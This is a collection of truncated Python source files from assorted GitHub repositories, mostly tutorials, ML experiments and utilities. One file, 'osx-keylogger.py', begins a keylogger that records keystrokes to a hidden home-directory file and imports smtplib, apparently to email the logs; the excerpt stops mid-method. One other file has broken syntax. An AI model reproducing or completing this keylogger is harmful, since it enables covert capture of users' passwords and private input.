[ "kyleknap@amazon.com" ]
kyleknap@amazon.com
00dacc8d53715bca065ecc63fda00d4fea71256c
fc2b62504f2e832c2aac4d5a6ac39ecf52a8d65f
/FEL-SSU/03 EM/snippets.py
e03353f5358c6b8a7074e7f9897797ba91af4ead
[]
no_license
LukasHromadnik/CVUT
a995108e9f2b3f79551befb3b1399cee26edf7d4
18be904784ebb8ef33ab7009560686968a7a8e27
refs/heads/master
2023-01-07T10:16:20.219423
2022-12-27T07:00:18
2022-12-27T07:00:18
217,048,219
7
2
null
2022-12-14T06:19:52
2019-10-23T12:10:18
C++
UTF-8
Python
false
false
1,593
py
#!/usr/local/bin/python3 import numpy as np from PIL import Image import matplotlib.pyplot as plt def to_image(img): formatted = (img * 255).astype('uint8') return Image.fromarray(formatted) def compute_error(image, ground_truth): diff = np.sum(abs(ground_truth - image)) result = diff / image.size ...
[ "lukas.hromadnik@ackee.cz" ]
lukas.hromadnik@ackee.cz
ca2f8bfe7c4032f38c05e442f2ebc72410381486
bd1b1fda138e6687dadc57317c3e312bc8872600
/mycode/lintcode/DP/non 584 drop-eggs-ii.py
b26afb05ade277e780791bb3532c797249226521
[]
no_license
dundunmao/lint_leet
fc185038f57e0c5cbb82a74cebd4fe00422416cb
5788bd7b154649d2f787bbc4feb717ff2f4b4c59
refs/heads/master
2020-11-30T04:56:25.553327
2017-10-22T07:11:01
2017-10-22T07:11:01
96,705,212
1
0
null
null
null
null
UTF-8
Python
false
false
437
py
# coding:utf-8 # There is a building of n floors. If an egg drops from the k th floor or above, it will break. If it's dropped from any floor below, it will not break. # # You're given m eggs, Find k while minimize the number of drops for the worst case. Return the number of drops in the worst case. # # 您在真实的面试中是否遇到过这...
[ "dundunmao@gmail.com" ]
dundunmao@gmail.com
ef2d49c6e8228d0db0cf4085723da7fb6610f6dd
914349e17aa5db5bd68e5a7535bdf693776a08b2
/calib/utils/summaries.py
51d5a3ea7a53e1f77e672e9b187ff5248b38ad6e
[]
no_license
dirichletcal/experiments_neurips
f45007aa752597999d2c3bf11bdace34362968c0
54989edf11995f7f0f8390766e51133373044db2
refs/heads/master
2023-04-01T14:55:20.906559
2022-12-06T18:04:38
2022-12-06T18:04:38
217,910,102
17
5
null
2023-03-25T00:58:47
2019-10-27T20:08:11
Jupyter Notebook
UTF-8
Python
false
false
53,965
py
import os import re import pandas as pd import numpy as np import math from functools import partial from calib.utils.functions import rankings_to_latex # Visualisations from calib.utils.plots import df_to_heatmap from calib.utils.plots import export_dataset_analysis from calib.utils.plots import export_critical_dif...
[ "perello.nieto@gmail.com" ]
perello.nieto@gmail.com
8f6d16bbfe84dd5df87370eb683744f95b71f11f
e7ae54a18f187cb7539a0b2a134fe93e9afcbbe0
/notebooks/scratch_trie_with_attrs.py
e64c734c6432a181c406a9775a3d231168cb8116
[ "MIT" ]
permissive
hdmamin/htools
b212f6dd3a910ad23de694e4202f9f513c8db52f
3905b46e9ed713dcd753108bee0eeb05b8a18aa4
refs/heads/master
2023-05-12T02:26:29.931781
2023-04-27T05:17:25
2023-04-27T05:17:25
177,682,148
1
1
MIT
2020-03-30T17:28:42
2019-03-25T23:49:36
Python
UTF-8
Python
false
false
3,442
py
""" Want to eventually add support for trie with word-level and maybe char-level attributes. Ex: word embeddings, word frequencies, char->char transition probs, parts of speech, etc.). Also experimenting with a slightly different interface than the existing trie in htools. Note that names are the same so if you import ...
[ "hmamin2@dons.usfca.edu" ]
hmamin2@dons.usfca.edu
35431caf74211b4c9fb9a864dc2341bb7c26cefa
d3902ba47e145a814117f588f0aba26ba49cc0bb
/osrm/utils.py
bd0cdc70c79b9659e73b75d7705d797c5df11c74
[ "MIT" ]
permissive
ecotner/osrm-api
bff3c9da8d2ab379c0f19772bc65509dc5705d4a
1607a0ccdac0b507b2b892ced78f6af8a7b33a5d
refs/heads/main
2023-01-10T18:43:27.623327
2020-11-08T20:50:41
2020-11-08T20:50:41
310,964,744
0
0
null
null
null
null
UTF-8
Python
false
false
807
py
# conversions from other unit to meters DIST_CONVERSIONS = { "m": 1.0, "meter": 1.0, "km": 1000.0, "kilometer": 1000.0, "mi": 1609.34, "mile": 1609.34, "foot": 0.3048, "ft": 0.3048, } # conversions from other unit to seconds TIME_CONVERSIONS = { "s": 1.0, "sec": 1.0, "second...
[ "2.71828cotner@gmail.com" ]
2.71828cotner@gmail.com
ec32a036831fdab1872f15cd6d75526fec6d9151
8a025c88c554c782885ccf780faf7af51f8d2583
/OPP1/第七章/attribute_critter.py
250670abc900ab0ed774ea1ec31cbe30cefc3df8
[]
no_license
LIGHT1213/PythonStudy
cc97a6372d5347229d014fa7fa499ac6af1abd2c
b3ac29777e395dee1282d9d422f1f6556cc2b3f6
refs/heads/master
2020-04-08T14:17:08.773627
2018-12-19T10:32:17
2018-12-19T10:32:17
159,430,245
0
0
null
null
null
null
UTF-8
Python
false
false
663
py
# Attribute Critter # Demonstrates creating and accessing object attributes class Critter(object): """A virtual pet""" def __init__(self, name): print("A new critter has been born!") self.name = name def __str__(self): rep = "Critter object\n" rep += "name: " + self.name +...
[ "pch19980807@gmail.com" ]
pch19980807@gmail.com
05178c520e2297e124911065079f0a33449649a3
0ec57662afc11226cba79945d11c1a1c46291653
/r2d2/chat_conf.py
1984267220a12c59f4af400d55b8fe95f05fb152
[]
no_license
rudeak/r2d2
3fdb6462b35704d89507750de8140bc31b32c1c8
7a821fd92fdf742f529923f5b4a5c6b9ec71f429
refs/heads/master
2021-08-26T09:11:43.605522
2017-11-22T18:17:00
2017-11-22T18:17:00
111,716,980
0
0
null
null
null
null
UTF-8
Python
false
false
147
py
def max_anagram(bot, msg, db): cursor = db.cursor() s = msg['text'] s = s[s.rindex(' '):] bot.sendMessage(msg['chat']['id'], s)
[ "rudeak@gmail.com" ]
rudeak@gmail.com
e1d148caa0658caacdd4b167e3de28a3dbcb7a98
382f4ac6b926ff67caef6d4dcb3a6f42f89f5e17
/plantilla/PlantillaOpenGL.py
7385416d19a4dfd18d935dfc31916486d82f4f55
[]
no_license
JenniD5/OpenGL_2021
92edeb50a3e55ddfd7e94da717dca76a03fa55de
4908032a92df43f8d6fc37876ba53d9ef5626c4a
refs/heads/main
2023-03-27T04:53:44.456894
2021-03-23T00:58:21
2021-03-23T00:58:21
331,414,502
0
0
null
null
null
null
UTF-8
Python
false
false
1,914
py
from OpenGL.GL import * from glew_wish import * import glfw def dibujar(): #rutinas de dibujo glBegin(GL_TRIANGLES) glEnd() def main(): #inicia glfw if not glfw.init(): return #crea la ventana, # independientemente del SO que usemos window = glfw.create_window(800,60...
[ "elizabethduran0105@gmail.com" ]
elizabethduran0105@gmail.com
507f90af98c2413e61c6c3d89b3dc702537d22d1
0689512293c47123f0e880fd903a695684680857
/experiment_code/lstm_m3.py
2cc452d6adce419503241087669bf04a5cfd2c89
[]
no_license
oldregan/aml_final_project
a2628681f8dd23c1ca96a851f54e9f99b00bdfcb
cfb49549c8aa84f854e5d280fa618713b94721c9
refs/heads/master
2021-01-25T10:21:32.898292
2018-02-28T22:21:31
2018-02-28T22:21:31
123,348,966
0
0
null
null
null
null
UTF-8
Python
false
false
2,243
py
import numpy as np import tensorflow as tf import keras as kr import pandas as pd from sklearn.model_selection import train_test_split # load keras packages from keras.preprocessing import sequence from keras.models import Sequential from keras.layers import Dense, Dropout, Activation from keras.layers import Embeddin...
[ "renmin0424@gmail.com" ]
renmin0424@gmail.com
594dbb31b0d629c64a673c8ac53bf5da344c901d
201b528383548ec9e4cdea8d92fe42566b03d9f2
/Z_7-1.py
08064964037cabfb6a81ef88fea0c7f095137192
[]
no_license
INePro/Projrct
7963fdb1afc02f293e42770718fa759981a9524a
896d389b95eeddc6bff84740950f83ba9024b74e
refs/heads/master
2023-05-21T18:25:32.142853
2021-06-12T11:25:17
2021-06-12T11:25:17
376,272,808
0
0
null
null
null
null
UTF-8
Python
false
false
561
py
#СОЗДАЕМ ВЕЧНЫЙ ЦИКЛ while True: #ДЛЯ ИЗБЕЖАНИЯ ОШИБОК try: #ПРИСВАИВАЕМ ЗНАЧЕНИЯ ПЕРЕМЕННЫМ n = int(input("Какое расстояние проезжает машина за день: ")) m = int(input("Какое расстояние нужно проехать машине: ")) Time = m / n print("Машине нужно ", Time," дня/дней") #ВЫВОД ТЕКСТА ПОДСКАЗКИ except ...
[ "starikov.vitaliy.03@bk.ru" ]
starikov.vitaliy.03@bk.ru
c799ae912f28a196e49bada2acad57ee6f99323e
f0e9e10d2b2b60d820ea2184fda449d79a2d6550
/basic_classification.py
da4b580a3f9fa9c898f82f96a696fd88b4dc7569
[]
no_license
Pasenger/tensorflow-tutorials
da1256fc7e493a464e1e10a36a6269300c459110
a7a3cb04acddb27f5747d42bf4942370bef26f7f
refs/heads/master
2020-05-03T14:55:38.214282
2019-04-05T13:22:25
2019-04-05T13:22:25
178,691,836
0
0
null
null
null
null
UTF-8
Python
false
false
6,773
py
# -*-conding:utf-8 -*- # ===================================== # 基本分类 # https://tensorflow.google.cn/tutorials/keras/basic_classification # ===================================== # Tensorflow and tf.keras import tensorflow as tf from tensorflow import keras # Helper libraries import numpy as np import matplotlib.pypl...
[ "pasenger@163.com" ]
pasenger@163.com
0b52aac1d9e5125479b4c19167f891026dc3bac0
df5096d59715c1a299a0389e249721d8bdf58927
/test/test_basic.py
cb9a73b58dcd315bb577366be7c9642ccca74e65
[]
no_license
tomektester/test
d54f65f059fb861abda578ab7fc474b05290147a
a345ec99f6322c6bd1be8fc6fbc8c47004665cc4
refs/heads/master
2021-01-21T13:36:49.578450
2013-02-21T00:24:40
2013-02-21T00:24:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
231
py
import unittest class BasicTest(unittest.TestCase): def setUp(self): pass def tearDown(self): pass def test_1(self): self.assertEqual(1,1) def test_2(self): self.assertEqual(2,2)
[ "tomek.rej@roamz.com" ]
tomek.rej@roamz.com
cde71d39be2ed5096c0281a31c80792286949fab
65f3ac35a9bc700c6a5d54d14256322413285429
/model_transfer/model2onnx_batch.py
3baa3e710c413421dcf73a7c1c489b76a9d1d5c4
[]
no_license
yangyubuaa/Web_Server_For_TFServing
08d4c0ee92302d1b9e511b384909fce2f5078e52
c50189a7372c3369ae00b63e33e01b98f119a7a1
refs/heads/master
2023-06-11T00:02:38.497914
2021-07-06T06:51:59
2021-07-06T06:51:59
382,998,472
1
0
null
null
null
null
UTF-8
Python
false
false
1,545
py
import torch from transformers import AlbertForSequenceClassification, BertTokenizer def torchmodel2onnx(): # 设置batchsize和输入的最大长度 Batch_size = 1 seg_length = 64 # 读取训练好的模型 model_path = "albert_tiny_pytorch" albert_model = AlbertForSequenceClassification.from_pretrained(model_path) # 将模型置于...
[ "minghaiyan@sogou-inc.com" ]
minghaiyan@sogou-inc.com
8933aa2068fbd93ab8574d7b2cc34be3417a4673
701a5781a31207a248caa93e267a8e43c9dba48a
/gbfs/gbfs.py
266334ee44a2f4f71c65eefbc4bc3e394ef0b5a0
[ "BSD-2-Clause" ]
permissive
jdswinbank/gbfs
1160f6bb5bbf798b40369efb9f0bc6d701c86a42
5c4a44da1e4ab404d3ad08dad31fe3ae88edd478
refs/heads/master
2016-09-14T07:07:14.495828
2016-05-02T02:10:24
2016-05-02T02:10:24
57,861,182
0
0
null
null
null
null
UTF-8
Python
false
false
5,783
py
import enum import json import math import time from collections import namedtuple #import requests __all__ = ["Position", "haversine", "EARTH_RADIUS", "StationCollection", "Station", "RentalMethod"] EARTH_RADIUS = 6371.0 # km class RentalMethod(enum.Enum): """ All possible rental methods in sta...
[ "john@swinbank.org" ]
john@swinbank.org
f62dcd6c599826a31e28c742e85d598e3375d3a3
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2224/60677/295560.py
f653bfac240a0f0bbc5bd8f5352722c814c3e233
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
425
py
zzh=input() zzh=list(zzh) zzh=[int(x) for x in zzh] zzhbig=zzh.copy() zzhbig.sort(reverse=True) length=zzh.__len__() first=0 for i in range(length): first=i if zzh[i]!=zzhbig[i]: break if first!=length-1: big=first for i in range(first+1,length): if zzh[i]>=zzh[big]: big=i ...
[ "1069583789@qq.com" ]
1069583789@qq.com
39f1958826c911b974880e4fe9300acc47ed4602
1109202b193ab1e1e8e38ba08889b4afd020bd54
/fMRI.py
cbf5ea3c795821469687420b6429fd61f738d0d9
[]
no_license
SriganeshNk/fMRI
1058499772bd2529bc410aa1e3957c351599dcaa
32e2a51001e18b11b3837cdd57a77bba7174b9e3
refs/heads/master
2021-01-21T05:01:49.417321
2015-05-08T23:26:12
2015-05-08T23:26:12
34,079,485
0
1
null
null
null
null
UTF-8
Python
false
false
10,851
py
__author__ = 'Sriganesh' import scipy.io import math from sklearn import svm import numpy as np from sklearn.naive_bayes import GaussianNB from sklearn.neighbors import KNeighborsClassifier from matplotlib import pyplot as plt from scipy.sparse import csr_matrix from scipy.sparse.csgraph import minimum_spanning_tree i...
[ "sriganesh.navaneethakrishnan@stonybrook.edu" ]
sriganesh.navaneethakrishnan@stonybrook.edu
89ffc31de335cf350cd6134d4c7c876e058d339a
7f666c62a4e02a9688beede315c5b79831307679
/osx-keylogger.py
632a08f9e62e8d04e2a53df3dba7057142c4c7be
[]
no_license
ianng31/something-awesome
3f8520191f39f2f87ddafc31f7ed350df329828a
55c5d918aefb4f558f227d846dc20aa9f4cb2f77
refs/heads/master
2022-11-25T20:39:00.654518
2020-08-03T13:32:11
2020-08-03T13:32:11
254,847,276
0
1
null
2020-08-03T13:32:12
2020-04-11T10:51:37
Python
UTF-8
Python
false
false
1,086
py
#!/usr/bin/python import pynput.keyboard import smtplib import threading import os from pathlib import Path class Keylogger: def __init__(self): #constructor HOME = str(Path.home()) self.filepath = f"{HOME}/.not_a_keylogger.txt" self.header = "[ Initiating Logging ]\n" def evaluate_keys(self, key): try...
[ "z5257343@unsw.edu.au" ]
z5257343@unsw.edu.au
a7e4199230593411dcc6621ba9314e67f00f7537
d54d97946c90c7b96fd27a174c29ef94093d461a
/S2_Mobilenet_QuadCopters_Lambda/AWS Lambda Files/handler.py
6e76e06c0157bc575380fe11fbff98f7a321f3ec
[ "MIT" ]
permissive
pranavpandey2511/Deep_Learning_EVA4_Phase2
b13a281b1b0d18c4a344484334984d3f2b702e4d
b01045c051184f627df6e9e8e26ec5a057c01d3a
refs/heads/master
2023-04-01T20:44:46.104454
2021-04-04T13:21:29
2021-04-04T13:21:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,129
py
try: print('Import unzip') import unzip_requirements except ImportError: pass import torch import torchvision import torchvision.transforms as transforms from PIL import Image import boto3 import os import io import json import base64 from requests_toolbelt.multipart import decoder print("Import End.....")...
[ "noreply@github.com" ]
pranavpandey2511.noreply@github.com
3cabf5589b831a4fbf0fd405ef5e4af61faf027f
3d5e86cb6cc01729170d5d445f958354f72c1462
/code/ae-with-svm.py
ad9728c56a9e4f773ddc89c9ec683f9dbf36c0e2
[]
no_license
ianchen88/attack-agnostic-adversarial-attack-detection
32e20624a4b63cc454912865915c2bd1fcdda247
8df0a700300986ae7962c14cef7e60a811b03b8f
refs/heads/master
2023-02-14T02:00:02.062950
2021-01-11T14:41:29
2021-01-11T14:41:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
12,554
py
import torch from torch.autograd import Variable import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.utils.data import Dataset, DataLoader import visdom from ShapDataset import ShapDatasetTop # Ignore warnings from sklearn import warnings warnings.filterwarnings("ignore") fro...
[ "matthew.s.watson@durham.ac.uk" ]
matthew.s.watson@durham.ac.uk
968c2f037dcf0c1535623c94568e21ba2eca4b62
dfcbc222a2ff47577a5afa6c987bf10f7a098444
/Algorithms/mergeSort.py
9c6487a09c6bc44cf0ec7017ce6a5f82fcef425b
[]
no_license
AshDev07/Sorting-Algorithm-Visualizer
eb71b30076493ca591271b34024fa27dff4911eb
14300f391a393942cd43d46c7f391a1cc3664b6f
refs/heads/master
2023-06-15T10:36:59.380842
2021-07-16T05:18:29
2021-07-16T05:18:29
386,516,188
0
0
null
null
null
null
UTF-8
Python
false
false
1,107
py
import time from colors import * def merge(data, start, mid, end, drawData, timeTick): p = start q = mid + 1 tempArray = [] for i in range(start, end + 1): if p > mid: tempArray.append(data[q]) q += 1 elif q > end: tempArray.append(data[p]) ...
[ "ashdev420@gmail.com" ]
ashdev420@gmail.com
032a7ceb5003e13ea27838cbb1ddebe1a067b09b
5570482103d38e396ca9c279aeaa5026294bb6e8
/mapcampus/campusuh/campusuhapp/templatetags/my_filters.py
5885dcb6ccb8866bcac23fff9f23b02f8ef8b4af
[]
no_license
jchilela/mapcampus
0719bf235d889813f8855839ec5fa43113b2039a
348e8d6d1187c1f93e8905070c1b4873d2d812a6
refs/heads/master
2021-01-10T08:59:28.112116
2016-01-22T21:43:48
2016-01-22T21:43:48
43,837,006
0
0
null
null
null
null
UTF-8
Python
false
false
133
py
from django import template register = template.Library() @register.filter(name='times') def times(number): return range(number)
[ "juliogabrielchilela1@MacBook-Pro-de-Julio.local" ]
juliogabrielchilela1@MacBook-Pro-de-Julio.local
f3b66dd18e7b1ad969e37992945448218ff06c52
c117e905ac5f1938da3c8e23845ad52cc922923a
/src/orion/testing/dummy_algo.py
a506d3f2ce928d707c48ca086fd7b0bb315a602b
[ "BSD-3-Clause" ]
permissive
Epistimio/orion
2850983dd7ac0a417d451d39b2dc7a652f1920c8
2944875eff03b86138d6780df4b1dd6dc8158ccb
refs/heads/develop
2023-09-01T20:36:59.279966
2023-08-21T13:25:43
2023-08-21T13:25:43
102,697,867
218
41
NOASSERTION
2023-08-21T12:51:55
2017-09-07T06:05:21
Python
UTF-8
Python
false
false
1,274
py
"""A dummy algorithm used for unit tests.""" from __future__ import annotations from typing import ClassVar, Sequence from orion.algo.base import BaseAlgorithm from orion.algo.space import Space from orion.core.worker.trial import Trial class FixedSuggestionAlgo(BaseAlgorithm): """A dumb algo that always return...
[ "noreply@github.com" ]
Epistimio.noreply@github.com
f3a4db1d6675424c9492749e73ee9c8f7c2fba7a
3b7a061e406e072de15af4e92216b4800da0edba
/arquivo.py
ca910db9ad7cf626f990f1a7ed32e78b9b8ce7b9
[]
no_license
juliakastrup/1stG
45df5278f441f2fab88324282225003f8f18c7af
57a08eec627ddd860f3e5ba1785f9f51c87976c3
refs/heads/master
2021-09-23T22:33:19.845219
2018-09-28T14:23:09
2018-09-28T14:23:09
null
0
0
null
null
null
null
UTF-8
Python
false
false
406
py
num1=234 num2=7869 if num1>num2: print('Sim, {num1} é maior que {num2}!'.format(num1=num1,num2=num2)) else: print('Não, {num1} não é maior que {num2}!'.format(num1=num1,num2=num2)) name='if' Paulo name=='Angela': print('Hey, Angela!') elif name=='Julia': print('Hey, Julia!') elif name=='Paulo': print('Hey, Paulo!'...
[ "jkastrupb@gmail.com" ]
jkastrupb@gmail.com
717927f5abd794acc318f554bc19ae9d85c66dd1
a58a2dee264e11eaf0397f054545156871eafb4d
/services/calc.py
695be6ab14159754c464ef80f517c638de23821e
[]
no_license
bewakes/assistant
b157c7ead508a5a490d19cfe2fd479a4d0562304
ff336866a19b7b8c8cd971e340812b8d7c865af1
refs/heads/master
2022-12-10T04:24:18.230269
2020-04-28T15:41:54
2020-04-28T15:41:54
92,492,350
3
1
null
2021-06-01T23:24:07
2017-05-26T09:00:27
Python
UTF-8
Python
false
false
811
py
import sys import os import traceback sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from utils.socket_mixin import SocketHandlerMixin # noqa from utils import log # noqa from utils.terminal_formatter import Style logger = log.get_logger('Calculator service') class Calculator(Socke...
[ "spirit_bibek@yahoo.com" ]
spirit_bibek@yahoo.com
017c7642c90d6d18f5006df5ea73ea024724ee0a
1f56449c4003dcbe968a5c0c58b9444a80d8ad7a
/config.py
ec1becb0182eeba911bef9837a311f8d48d69a9a
[]
no_license
kevinbsilva/flask_app
0b311b8cdee5ffbadeefbaf5bb646128d1affabe
7a28103baca0a3a88910b28ddb730e3d042fd0ca
refs/heads/master
2023-02-15T04:07:31.790010
2020-12-29T02:27:37
2020-12-29T02:27:37
325,145,995
1
0
null
null
null
null
UTF-8
Python
false
false
345
py
import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'you-will-never-guess' MYSQL_DATABASE_URI = os.environ.get('DATABASE_URL') or 'mysql://{host}:{port}/{db_name}'.format(host='localhost', port='3306', db_name='flask') MYSQL_TR...
[ "kevinbarranco.silva@outlook.com" ]
kevinbarranco.silva@outlook.com
6d00b32fd8ad012ae7a155e43f412b5cf8570a59
e24c66c8ed326f3486c053c25644cb2b183efe9c
/card_example/src/screens/screens/language_screen.py
2f72238aaf25ad7dcae3fcaaeafdb04bedbecd3f
[ "MIT" ]
permissive
jldj1/card-example
7f87a0b335ee6a80fa0ccce16af3aecdf8a8e592
bf2b4519e7ee67d3f8e03a50fcdb4b003c535bea
refs/heads/main
2023-08-28T04:17:18.185896
2021-10-29T02:27:16
2021-10-29T02:27:16
422,416,922
0
0
null
null
null
null
UTF-8
Python
false
false
2,320
py
import pygame, sys from buttons.button import Button from screens.blank_screen2 import Blank2 BG_COLOR = (30, 30, 30) BLACK_COLOR = (0, 0, 0) class LanguageSelect: def __init__(self): self.width = 600 self.height = 600 self.setup_screen() self.click = False ...
[ "noreply@github.com" ]
jldj1.noreply@github.com
b1c7e207adef48e14d64798fda3b81db8f9a18dc
dba617daf7ce09394c703d52054583d9a11084a3
/datadog_checks_dev/datadog_checks/dev/tooling/commands/release/build.py
9e45dda5fcc84926ae851302a54fc959619157a1
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause" ]
permissive
cirocosta/integrations-core
8bb43bca28498df410d2bab4a482eadf81954622
86c5e1caabaed489b19dc5cb172545fda9b99ee7
refs/heads/master
2020-12-05T12:55:19.928373
2020-01-06T13:37:25
2020-01-06T13:37:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,284
py
# (C) Datadog, Inc. 2018 # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import os import click from ....utils import basepath, dir_exists, remove_path, resolve_path from ...constants import get_root from ...release import build_package from ...utils import get_valid_checks from ..co...
[ "ofekmeister@gmail.com" ]
ofekmeister@gmail.com
097dd9b342883a56dff4f606f3bae72c1bc304fb
7106ddc566b6fe2e96733414801d37566e51a0b7
/miscellaneous/pesel.py
d9cfa6ae2e894b24c6bb6a46f4b647fecd3caf62
[]
no_license
tomelisse/PythonEx
11c4602b42af79adadde9a7008b8fad35f2d4c5a
b57773ce8d46079533ce009d92f73b7b936d3722
refs/heads/master
2021-01-02T22:57:02.947092
2017-08-18T15:40:02
2017-08-18T15:40:02
99,430,235
0
0
null
null
null
null
UTF-8
Python
false
false
944
py
from datetime import date from textwrap import wrap def sex(n): ''' returns the sex of a person based on pesel ''' print(n) return 'M' if n%2 else 'F' def list_to_int(l): ''' age helper converting list of len =2 to an int ''' return 10*l[0] + l[1] def age(birth): ''' returns the age of a pers...
[ "tomelisse@gmail.com" ]
tomelisse@gmail.com
203d43211c5a1f7a559eca0099e46670a3c1d422
33496338a35c4f76eadec13dc56c7831b1896113
/Plugins/MadaraLibrary/Source/ThirdParty/madara/maal/maal_monitor.py
d76607bf7d70d60435d2183f254f6e2145936afe
[ "BSD-2-Clause" ]
permissive
jredmondson/GamsPlugins
1ce0c2301cf84b6398ae1a2a6cdef9a4d0c1992c
d133f86c263997a55f11b3b3d3344faeee60d726
refs/heads/master
2021-07-08T23:40:48.423530
2020-10-01T05:31:26
2020-10-01T05:31:26
196,622,579
3
1
BSD-2-Clause
2020-03-17T04:23:21
2019-07-12T17:54:49
C++
UTF-8
Python
false
false
3,341
py
#!/usr/bin/env python ## @package maal_monitor # monitors CPU and Memory usage on an Android smartphone. Does not require monkeyrunner # "python maal_monitor.py --help" to see available parameters. # Imports os and system modules which we need to import Ammo scripts import os import sys # Import the Ammo script lib...
[ "jedmondson@gmail.com" ]
jedmondson@gmail.com
f9324212a0958b78f27b02d6267ce06f0db9fcec
eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7
/google/ads/googleads/v6/googleads-py/google/ads/googleads/v6/services/types/ad_group_service.py
09d6d7c972bdf1313bb68c51d5ca5af90fc14eda
[ "Apache-2.0" ]
permissive
Tryweirder/googleapis-gen
2e5daf46574c3af3d448f1177eaebe809100c346
45d8e9377379f9d1d4e166e80415a8c1737f284d
refs/heads/master
2023-04-05T06:30:04.726589
2021-04-13T23:35:20
2021-04-13T23:35:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,936
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law o...
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com